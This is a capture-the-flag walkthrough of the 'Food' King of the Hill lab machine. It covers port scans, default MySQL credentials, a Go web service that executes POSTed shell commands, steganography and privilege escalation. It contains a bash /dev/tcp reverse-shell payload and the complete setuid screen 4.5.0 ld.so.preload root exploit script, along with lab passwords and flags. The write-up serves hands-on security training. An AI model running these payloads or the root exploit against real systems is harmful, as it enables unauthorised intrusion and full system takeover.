KoTH Food CTF

> **Instructions**
>
> This is room for one of the King of the Hill machines, FoodCTF. Capture the food and all the flags, while you're at it.
>
> You can access the official writeup by clicking Options (top right) and then 'Writeups'.
>
> This box was from the April 2020 KoTH rotation. It awards no points, as the current question system doesn't allow me to do this.

Enumeration

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- --min-rate 5000 -Pn 10.10.227.185
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-21 07:44 EDT
Warning: 10.10.227.185 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.227.185
Host is up (0.19s latency).
Not shown: 65529 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
3306/tcp  open  mysql
9999/tcp  open  abyss
15065/tcp open  unknown
16109/tcp open  unknown
46969/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 30.21 seconds
```

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -A -T4 -Pn -p 22,3306,9999,15065,16109,46969 10.10.227.185
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-21 07:45 EDT
Nmap scan report for 10.10.227.185
Host is up (0.18s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 280c0cd95a7dbee6f43ced1051494d19 (RSA)
|   256 17ce033bbb207809ab76c06d8dc4df51 (ECDSA)
|_  256 078a50b55b4aa76cc8b3a1ca77b90d07 (ED25519)
3306/tcp  open  mysql   MySQL 5.7.29-0ubuntu0.18.04.1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=MySQL_Server_5.7.29_Auto_Generated_Server_Certificate
| Not valid before: 2020-03-19T17:21:30
|_Not valid after:  2030-03-17T17:21:30
| mysql-info:
|   Protocol: 10
|   Version: 5.7.29-0ubuntu0.18.04.1
|   Thread ID: 4
|   Capabilities flags: 65535
```

```
|   Some Capabilities: FoundRows, SwitchToSSLAfterHandshake, Speaks41ProtocolOld, SupportsCompression, SupportsTra
nsactions, ConnectWithDatabase, LongPassword, SupportsLoadDataLocal, ODBCClient, IgnoreSigpipes, Support41Auth, Lo
ngColumnFlag, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolNew, InteractiveClient, DontAllowDatabaseTableColumn,
 SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: |\x7F-\x11B{<M{DqY*O\x1C?u\x0F\x18\
|_  Auth Plugin Name: mysql_native_password
9999/tcp  open  abyss?
| fingerprint-strings:
|   FourOhFourRequest, HTTPOptions:
|     HTTP/1.0 200 OK
|     Date: Fri, 21 Jul 2023 11:47:29 GMT
|     Content-Length: 4
|     Content-Type: text/plain; charset=utf-8
|     king
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, TLSSessionReq,
TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Date: Fri, 21 Jul 2023 11:47:28 GMT
|     Content-Length: 4
|     Content-Type: text/plain; charset=utf-8
|_    king
15065/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Host monitoring
16109/tcp open  unknown
| fingerprint-strings:
|   GenericLines:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Date: Fri, 21 Jul 2023 11:47:29 GMT
|     Content-Type: image/jpeg
|     JFIF
|     #*%%*525EE\xff
|     #*%%*525EE\xff
|     $3br
|     %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
|     &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
|     Y$?_
|     qR]$Oyk
|_    |$o.
46969/tcp open  telnet  Linux telnetd
2 services unrecognized despite returning data. If you know the service/version, please submit the following finge
rprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port9999-TCP:V=7.93%I=7%D=7/21%Time=64BA6FD1%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,78,"HTTP/1\.0\x20200\x20OK\r\nDate:\x20Fri,\x2021\x20Jul\x2020
SF:23\x2011:47:28\x20GMT\r\nContent-Length:\x204\r\nContent-Type:\x20text/
SF:plain;\x20charset=utf-8\r\n\r\nking")%r(HTTPOptions,78,"HTTP/1\.0\x2020
SF:0\x20OK\r\nDate:\x20Fri,\x2021\x20Jul\x202023\x2011:47:29\x20GMT\r\nCon
SF:tent-Length:\x204\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\n\
SF:r\nking")%r(FourOhFourRequest,78,"HTTP/1\.0\x20200\x20OK\r\nDate:\x20Fr
SF:i,\x2021\x20Jul\x202023\x2011:47:29\x20GMT\r\nContent-Length:\x204\r\nC
SF:ontent-Type:\x20text/plain;\x20charset=utf-8\r\n\r\nking")%r(GenericLin
SF:es,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plai
SF:n;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Reques
SF:t")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Typ
SF:e:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x
SF:20Bad\x20Request")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCon
SF:tent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\
```

```
SF:r\n400\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\
SF:x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnecti
SF:on:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"
SF:HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20c
SF:harset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(T
SF:LSSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x2
SF:0text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad
SF:\x20Request")%r(Kerberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCont
SF:ent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r
SF:\n400\x20Bad\x20Request")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Re
SF:quest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x
SF:20close\r\n\r\n400\x20Bad\x20Request")%r(LDAPSearchReq,67,"HTTP/1\.1\x2
SF:0400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8
SF:\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(SIPOptions,67
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x2
SF:0charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port16109-TCP:V=7.93%I=7%D=7/21%Time=64BA6FD1%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,19F8,"HTTP/1\.0\x20200\x20OK\r\nDate:\x20Fri,
SF:\x2021\x20Jul\x202023\x2011:47:29\x20GMT\r\nContent-Type:\x20image/jpeg
SF:\r\n\r\n\xff\xd8\xff\xe0\0\x10JFIF\0\x01\x01\x01\0H\0H\0\0\xff\xdb\0C\0
SF:\x02\x03\x03\x03\x04\x03\x04\x05\x05\x04\x06\x06\x06\x06\x06\x08\x08\x0
SF:7\x07\x08\x08\r\t\n\t\n\t\r\x13\x0c\x0e\x0c\x0c\x0e\x0c\x13\x11\x14\x11
SF:\x0f\x11\x14\x11\x1e\x18\x15\x15\x18\x1e#\x1d\x1c\x1d#\*%%\*525EE\\\xff
SF:\xdb\0C\x01\x02\x03\x03\x03\x04\x03\x04\x05\x05\x04\x06\x06\x06\x06\x06
SF:\x08\x08\x07\x07\x08\x08\r\t\n\t\n\t\r\x13\x0c\x0e\x0c\x0c\x0e\x0c\x13\
SF:x11\x14\x11\x0f\x11\x14\x11\x1e\x18\x15\x15\x18\x1e#\x1d\x1c\x1d#\*%%\*
SF:525EE\\\xff\xc0\0\x11\x08\x03\x84\x05F\x03\x01\"\0\x02\x11\x01\x03\x11\
SF:x01\xff\xc4\0\x1f\0\0\x01\x05\x01\x01\x01\x01\x01\x01\x01\0\0\0\0\0\0\0\x
SF:01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\xff\xc4\0\xb5\x10\0\x02\x01\x03\
SF:x03\x02\x04\x03\x05\x05\x04\x04\0\0\x01}\x01\x02\x03\0\x04\x11\x05\x12!
SF:1A\x06\x13Qa\x07\"q\x142\x81\x91\xa1\x08#B\xb1\xc1\x15R\xd1\xf0\$3br\x8
SF:2\t\n\x16\x17\x18\x19\x1a%&'\(\)\*456789:CDEFGHIJSTUVWXYZcdefghijstuvwx
SF:yz\x83\x84\x85\x86\x87\x88\x89\x8a\x92\x93\x94\x95\x96\x97\x98\x99\x9a\
SF:xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba
SF:\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xd
SF:a\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xf1\xf2\xf3\xf4\xf5\xf6\xf7\x
SF:f8\xf9\xfa\xff\xc4\0\x1f\x01\0\x03\x01\x01\x01\x01\x01\x01\x01\x01\x01\
SF:0\0\0\0\0\0\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\xff\xc4\0\xb5\x11\0
SF:\x02\x01\x02\x04\x04\x03\x04\x07\x05\x04\x04\0\x01\x02w\0\x01\x02\x03\x
SF:11\x04\x05!1\x06\x12AQ\x07aq\x13\"2\x81\x08\x14B\x91\xa1\xb1\xc1\t#3R\x
SF:f0\x15br\xd1\n\x16\$4\xe1%\xf1\x17\x18\x19\x1a&'\(\)\*56789:CDEFGHIJSTU
SF:VWXYZcdefghijstuvwxyz\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x92\x93\x94\x
SF:95\x96\x97\x98\x99\x9a\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xb2\xb3\xb4\
SF:xb5\xb6\xb7\xb8\xb9\xba\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xd2\xd3\xd4
SF:\xd5\xd6\xd7\xd8\xd9\xda\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xf2\xf3\xf
SF:4\xf5\xf6\xf7\xf8\xf9\xfa\xff\xda\0\x0c\x03\x01\0\x02\x11\x03\x11\0\?\0
SF:\xfa\x96F\xf3/\x0f\xcd\xc0\xdcp\x7f\*\x97!\x1e\xd4p\x7f\|\x83\xdf\x8c\x
SF:b7\xf4\xa4\xb4\x8e=\x92\xc9\xce\xec\xe2\x90\xc6Zks\x91\x85Y\$\?_\xba\+\
SF:x81\x1e\xa9E\xees31\xe0\x02\xccA\xfe\x20\xa35\x90\x1c\xff\0fC\x95\x1b\x
SF:88\x047L\xe4\xf4\x1f\x9d\^\x92=\xdez\?\xded!~\x8eqR\]\$Oyk\x02\x81\x85\
SF:xc1\xc9\xe8\0\xed\xfaS\x11\|\x05q\x20\xee\xbbT\x0fM\xc6\xa3i\xb2\x97\x9
SF:37\x18\xca\xae:\xd6t\x0e\xdb\xe3\xf4/#\x96\xf4\t\x92\)\xad\xb7\xca\x89\
SF:x03}\xf9@l\xfbsLh\xcb\xba@\xb7d\x86%\x96\xdc\*\xfb\x175\x8b\|\$o\.\xd9N
SF:\xe1\xf2n\xfa\x97\x15\xbdrA\x86G\r\x9c\xce\xaa9\xfe\xe7ZM2\x08");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASU
S RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.32 (92%), Linux 2.6.
39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.11 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   187.82 ms 10.8.0.1
```

```
2   187.90 ms 10.10.227.185

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.51 seconds
```

Exploit

First try: Telnet Login

```
┌──(kali㉿kali)-[~]
└─$ telnet 10.10.227.185 46969
Trying 10.10.227.185...
Connected to 10.10.227.185.
Escape character is '^]'.
tccr:uwjsasqccywsg
foodctf login:
```

Use **Rot12** algorithm to encrypt the string `tccr:uwjsasqccyws` → Get the creds of user **food**

User: Food

```
┌──(kali㉿kali)-[~]
└─$ telnet 10.10.5.60 46969
Trying 10.10.5.60...
Connected to 10.10.5.60.
Escape character is '^]'.
tccr:uwjsasqccywsg
foodctf login: food
Password:
Last login: Fri Jul 21 12:51:22 UTC 2023 from ip-10-8-97-213.eu-west-1.compute.internal on pts/0
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)
```

Unfortunately, this user is not really helpful because the executed commands are restricted

```
food@foodctf:~$ id
-bash: id: No such file or directory
food@foodctf:~$ ls -la
-bash: ls: No such file or directory
food@foodctf:~$ pwd
/home/food
food@foodctf:~$ grep -R "flag"
-bash: grep: No such file or directory
```

Log out and find another ways!

MySQL

Login **mysql service** with **default creds** (`root:root`):

```
┌──(kali㉿kali)-[~]
└─$ mysql -h 10.10.227.185 -u root -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
```

```
Your MySQL connection id is 12
Server version: 5.7.29-0ubuntu0.18.04.1 (Ubuntu)
```

Enumerate the database → Figure out the **creds of ramen** user and **flag**:

```
MySQL [users]> Select * from User;
+----------+--------------------------------------+
| username | password                             |
+----------+--------------------------------------+
| ramen    | noodlesRTheBest                      |
| flag     | thm{2f30841ff8d9646845295135adda8332} |
+----------+--------------------------------------+
2 rows in set (0.188 sec)
```

User: Ramen

```
┌──(kali㉿kali)-[~]
└─$ ssh ramen@10.10.5.60
The authenticity of host '10.10.5.60 (10.10.5.60)' can't be established.
ED25519 key fingerprint is SHA256:gTfJgXeWZpkli4y02WVLrY46PX2Gk+h3eFlVjqe9q1E.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.5.60' (ED25519) to the list of known hosts.
ramen@10.10.5.60's password:
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)
```

This user has more permissions than the first one (**food**) without restriction of commands:

```
Last login: Sat Mar 21 00:20:20 2020
ramen@foodctf:~$ id
uid=1003(ramen) gid=1003(ramen) groups=1003(ramen)
```

However, there is nothing could be found or exploited in the personal directory:

```
ramen@foodctf:~$ ls -la
total 28
drwxr-xr-x 4 ramen ramen 4096 Mar 21  2020 .
drwxr-xr-x 7 root  root  4096 Mar 28  2020 ..
-rw-r--r-- 1 ramen ramen  220 Mar 20  2020 .bash_logout
-rw-r--r-- 1 ramen ramen 3771 Mar 20  2020 .bashrc
drwx------ 2 ramen ramen 4096 Mar 21  2020 .cache
drwx------ 3 ramen ramen 4096 Mar 21  2020 .gnupg
-rw-r--r-- 1 ramen ramen  825 Mar 28  2020 .profile
ramen@foodctf:~$ grep -R "flag"
```

Get back and discover the others:

```
ramen@foodctf:~$ cd ..
ramen@foodctf:/home$ ls -la
total 28
drwxr-xr-x  7 root      root      4096 Mar 28  2020 .
drwxr-xr-x 24 root      root      4096 Mar 19  2020 ..
drwxr-xr-x  6 bread     bread     4096 Apr  6  2020 bread
drwxr-xr-x  5 food      food      4096 Jul 21 12:52 food
```

```
drwxr-xr-x  4 pasta     pasta     4096 Mar 21  2020 pasta
drwxr-xr-x  4 ramen     ramen     4096 Mar 21  2020 ramen
drwxr-xr-x  5 tryhackme tryhackme 4096 Apr  6  2020 tryhackme
```

Move into `food` directory again → Discover the hidden file contain flag inside:

```
ramen@foodctf:/home$ cd food/
ramen@foodctf:/home/food$ ls -la
total 44
drwxr-xr-x 5 food food 4096 Jul 21 12:52 .
drwxr-xr-x 7 root root 4096 Mar 28  2020 ..
-rw------- 1 food food   93 Jul 21 12:56 .bash_history
-rw-r--r-- 1 food food  220 Mar 19  2020 .bash_logout
-rw-r--r-- 1 food food 3771 Mar 19  2020 .bashrc
drwx------ 2 food food 4096 Mar 19  2020 .cache
-rw-rw-r-- 1 food food   38 Mar 28  2020 .flag
drwx------ 3 food food 4096 Mar 19  2020 .gnupg
drwxrwxr-x 3 food food 4096 Mar 19  2020 .local
-rw------- 1 food food   23 Mar 19  2020 .mysql_history
-rw-r--r-- 1 food food  815 Mar 28  2020 .profile
ramen@foodctf:/home/food$ cat .flag
thm{58a3cb46855af54d0660b34fd20a04c1}
```

Directory: bread

Let's explore the first directory which is listed in the list:

```
ramen@foodctf:/home$ cd bread
ramen@foodctf:/home/bread$ ls -la
total 7900
drwxr-xr-x 6 bread bread    4096 Apr  6  2020 .
drwxr-xr-x 7 root  root     4096 Mar 28  2020 ..
-rw------- 1 bread bread       5 Apr  6  2020 .bash_history
-rw-r--r-- 1 bread bread     220 Mar 20  2020 .bash_logout
-rw-r--r-- 1 bread bread    3771 Mar 20  2020 .bashrc
drwx------ 2 bread bread    4096 Mar 20  2020 .cache
----r--r-- 1 bread bread      38 Mar 28  2020 flag
drwx------ 3 bread bread    4096 Mar 20  2020 .gnupg
drwxrwxr-x 3 bread bread    4096 Mar 20  2020 .local
-rwxrwxr-x 1 bread bread 8037916 Apr  6  2020 main
-rw-rw-r-- 1 bread bread    1513 Apr  6  2020 main.go
-rw-r--r-- 1 bread bread     825 Mar 28  2020 .profile
drwxrwxr-x 3 bread bread    4096 Apr  6  2020 resources
```

Wow! The 3rd flag has been found!

```
ramen@foodctf:/home/bread$ cat flag
thm{7baf5aa8491a4b7b1c2d231a24aec575}
```

main.go

```
package main

import (
 "flag"
 "fmt"
```

```
 "io/ioutil"
 "log"
 "mime"
 "net/http"
 "os"
 "os/exec"

 "github.com/gorilla/mux"
)

func main() {
 startServer()
}
func startServer() {
 portPtr := flag.Int("p", 15065, "Port number to run the server on")
 flag.Parse()
 port := *portPtr
 mr := mux.NewRouter()
 mr.NotFoundHandler = http.HandlerFunc(notFoundHandler)
 apiRouter := mr.PathPrefix("/api").Subrouter()
 go mime.AddExtensionType(".css", "text/css; charset=utf-8")
 go mime.AddExtensionType(".js", "application/javascript; charset=utf-8")
 //Setup a static router for HTML/CSS/JS
 mr.PathPrefix("/").Handler(http.StripPrefix("/", http.FileServer(http.Dir("./resources"))))
 //CRUD API routes
 apiRouter.HandleFunc("/cmd", commandHandler).Methods("POST")
 log.Println("Listening for requests")
 http.ListenAndServe(fmt.Sprintf(":%v", port), mr)
}
func runCommand(cmd string) string {
 result := exec.Command("/bin/bash", "-c", cmd)
 //log.Printf("%+q\n", result.String())
 result.Stderr = os.Stderr
 response, err := result.Output()
 if err != nil {
  return "ERROR:\t" + err.Error()
 }
 return string(response)
}
func commandHandler(w http.ResponseWriter, r *http.Request) {
 body, err := ioutil.ReadAll(r.Body)
 if err != nil {
  w.WriteHeader(500)
  return
 }
 bodyString := string(body)
 w.Write([]byte(runCommand(bodyString)))
}
func reqHandler(w http.ResponseWriter, r *http.Request) {
 w.WriteHeader(404)
}
func notFoundHandler(w http.ResponseWriter, r *http.Request) { //Handle 404s
 w.WriteHeader(404)
}
```

Execute the `main` file which is compiled from `main.go`

```
ramen@foodctf:/home/bread$ ./main
2023/07/21 13:17:02 Listening for requests
```

The above script will execute the input command with `/bin/bash -c {input_command}` within the **api** `/cmd`. Use `curl` to send request:

```
┌──(kali㉿kali)-[~/TryHackMe/Food]
└─$ curl http://10.10.5.60:15065/api/cmd -X POST --data "id && ls -la"
uid=1004(bread) gid=1004(bread) groups=1004(bread)
total 7900
drwxr-xr-x 6 bread bread    4096 Apr  6  2020 .
drwxr-xr-x 7 root  root     4096 Mar 28  2020 ..
-rw------- 1 bread bread       5 Apr  6  2020 .bash_history
-rw-r--r-- 1 bread bread     220 Mar 20  2020 .bash_logout
-rw-r--r-- 1 bread bread    3771 Mar 20  2020 .bashrc
drwx------ 2 bread bread    4096 Mar 20  2020 .cache
----r--r-- 1 bread bread      38 Mar 28  2020 flag
drwx------ 3 bread bread    4096 Mar 20  2020 .gnupg
drwxrwxr-x 3 bread bread    4096 Mar 20  2020 .local
-rwxrwxr-x 1 bread bread 8037916 Apr  6  2020 main
-rw-rw-r-- 1 bread bread    1513 Apr  6  2020 main.go
-rw-r--r-- 1 bread bread     825 Mar 28  2020 .profile
drwxrwxr-x 3 bread bread    4096 Apr  6  2020 resources
```

User: bread

Start a listener on local machine:

```
nc -lvnp 4444
listening on [any] 4444 ...
```

Execute the reverse shell payload:

```
curl http://10.10.5.60:15065/api/cmd -X POST --data "bash -i >& /dev/tcp/10.8.97.213/4444 0>&1"
```

```
listening on [any] 4444 ...
connect to [10.8.97.213] from (UNKNOWN) [10.10.5.60] 41018
bash: cannot set terminal process group (749): Inappropriate ioctl for device
bash: no job control in this shell
bread@foodctf:~$ id
id
uid=1004(bread) gid=1004(bread) groups=1004(bread)
```

Unfortunately, this user **bread** does not contain anymore sensitive information to exploit

```
bread@foodctf:~$ cd resources
cd resources
bread@foodctf:~/resources$ ls -la
ls -la
total 16
drwxrwxr-x 3 bread bread 4096 Apr  6  2020 .
drwxr-xr-x 6 bread bread 4096 Apr  6  2020 ..
-rw-rw-r-- 1 bread bread  359 Apr  5  2020 index.html
drwxrwxr-x 2 bread bread 4096 Apr  6  2020 monitor
bread@foodctf:~/resources$ cd monitor
cd monitorl
bread@foodctf:~/resources/monitor$ s -la
ls -la
total 20
drwxrwxr-x 2 bread bread 4096 Apr  6  2020 .
drwxrwxr-x 3 bread bread 4096 Apr  6  2020 ..
```

```
-rw-rw-r-- 1 bread bread 1133 Apr  5  2020 index.html
-rw-rw-r-- 1 bread bread 1019 Apr  5  2020 main.css
-rw-rw-r-- 1 bread bread 3506 Apr  6  2020 main.js
```

Port 16109

Take a look at the result from **Enumeration** phase at port `16109`:

```
16109/tcp open  unknown
| fingerprint-strings:
|   GenericLines:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Date: Fri, 21 Jul 2023 11:47:29 GMT
|     Content-Type: image/jpeg
|     JFIF
|     #*%%*525EE\xff
|     #*%%*525EE\xff
|     $3br
|     %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
|     &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
|     Y$?_
|     qR]$Oyk
|_    |$o.
```

The server stored a file with `jpeg` *Content-type* and could be downloaded (get) through a **GET** request:

```
┌──(kaliⓀkali)-[~/TryHackMe/Food]
└─$ curl http://10.10.5.60:16109/ --output 16109
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  372k    0  372k    0     0   326k      0 --:--:--  0:00:01 --:--:--  326k
```

File info:

```
┌──(kaliⓀkali)-[~/TryHackMe/Food]
└─$ file 16109
16109: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precisio
n 8, 1350x900, components 3

┌──(kaliⓀkali)-[~/TryHackMe/Food]
└─$ exiftool 16109
ExifTool Version Number         : 12.57
File Name                       : 16109
Directory                       : .
File Size                       : 381 kB
File Modification Date/Time     : 2023:07:21 07:55:57-04:00
File Access Date/Time           : 2023:07:21 07:56:00-04:00
File Inode Change Date/Time     : 2023:07:21 07:55:57-04:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
```

```
X Resolution                    : 72
Y Resolution                    : 72
Image Width                     : 1350
Image Height                    : 900
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 1350x900
Megapixels                      : 1.2
```

Use **steghide** to extract the hidden data inside the file:

```
┌──(kali㉿kali)-[~/TryHackMe/Food]
└─$ steghide extract -sf 16109
Enter passphrase:
wrote extracted data to "creds.txt".

┌──(kali㉿kali)-[~/TryHackMe/Food]
└─$ cat creds.txt
pasta:pastaisdynamic
```

User: pasta

```
ramen@foodctf:/home/bread$ su pasta
Password:
pasta@foodctf:/home/bread$ id
uid=1002(pasta) gid=1002(pasta) groups=1002(pasta)
```

The personal's directory of user **pasta** does not contain any helpful information

```
pasta@foodctf:~$ ls -la
total 28
drwxr-xr-x 4 pasta pasta 4096 Mar 21  2020 .
drwxr-xr-x 7 root  root  4096 Mar 28  2020 ..
-rw-r--r-- 1 pasta pasta  220 Mar 20  2020 .bash_logout
-rw-r--r-- 1 pasta pasta 3771 Mar 20  2020 .bashrc
drwx------ 2 pasta pasta 4096 Mar 21  2020 .cache
drwx------ 3 pasta pasta 4096 Mar 21  2020 .gnupg
-rw-r--r-- 1 pasta pasta  825 Mar 28  2020 .profile
```

Directory: tryhackme

```
pasta@foodctf:/home/tryhackme$ ls -la
total 7644
drwxr-xr-x 5 tryhackme tryhackme    4096 Apr  6  2020 .
drwxr-xr-x 7 root      root         4096 Mar 28  2020 ..
-rw-r--r-- 1 tryhackme tryhackme     220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 tryhackme tryhackme    3771 Apr  4  2018 .bashrc
drwx------ 2 tryhackme tryhackme    4096 Mar 19  2020 .cache
-rw-rw---- 1 tryhackme tryhackme      38 Mar 27  2020 flag7
drwx------ 3 tryhackme tryhackme    4096 Mar 19  2020 .gnupg
-rwxrwxr-x 1 tryhackme tryhackme 7390798 Mar 20  2020 img
-rw-rw---- 1 tryhackme tryhackme  381312 Apr  6  2020 img.jpg
drwxrwxr-x 3 tryhackme tryhackme    4096 Mar 20  2020 .local
-rw------- 1 tryhackme tryhackme     590 Mar 20  2020 .mysql_history
```

```
-rw-r--r-- 1 tryhackme tryhackme     825 Mar 28  2020 .profile
-rw-r--r-- 1 tryhackme tryhackme       0 Mar 19  2020 .sudo_as_admin_successful
-rw------- 1 root      root          582 Mar 20  2020 .viminfo
-rw-rw-r-- 1 tryhackme tryhackme     173 Mar 20  2020 .wget-hsts
```

This directory contains much files and sub-directories to exploit but it requires higher privilege, at least `tryhackme` 's privilege.

Privilege Escalation → root

Let's look through the `SUID` files/services:

```
pasta@foodctf:/home$ find / -perm -04000 2>/dev/null
/bin/ping
/bin/su
/bin/umount
/bin/mount
/bin/fusermount
/usr/bin/chsh
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/at
/usr/bin/vim.basic
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/newgidmap
/usr/bin/screen-4.5.0
/usr/bin/chfn
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/telnetlogin
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
```

Notice on `screen-4.5.0` → This is not the normal service/file that should be set with `SUID` mode. The exploit technique could be view at this link.

```
pasta@foodctf:~$ nano 41154.sh
pasta@foodctf:~$ cat 41154.sh
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
```

```
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
```

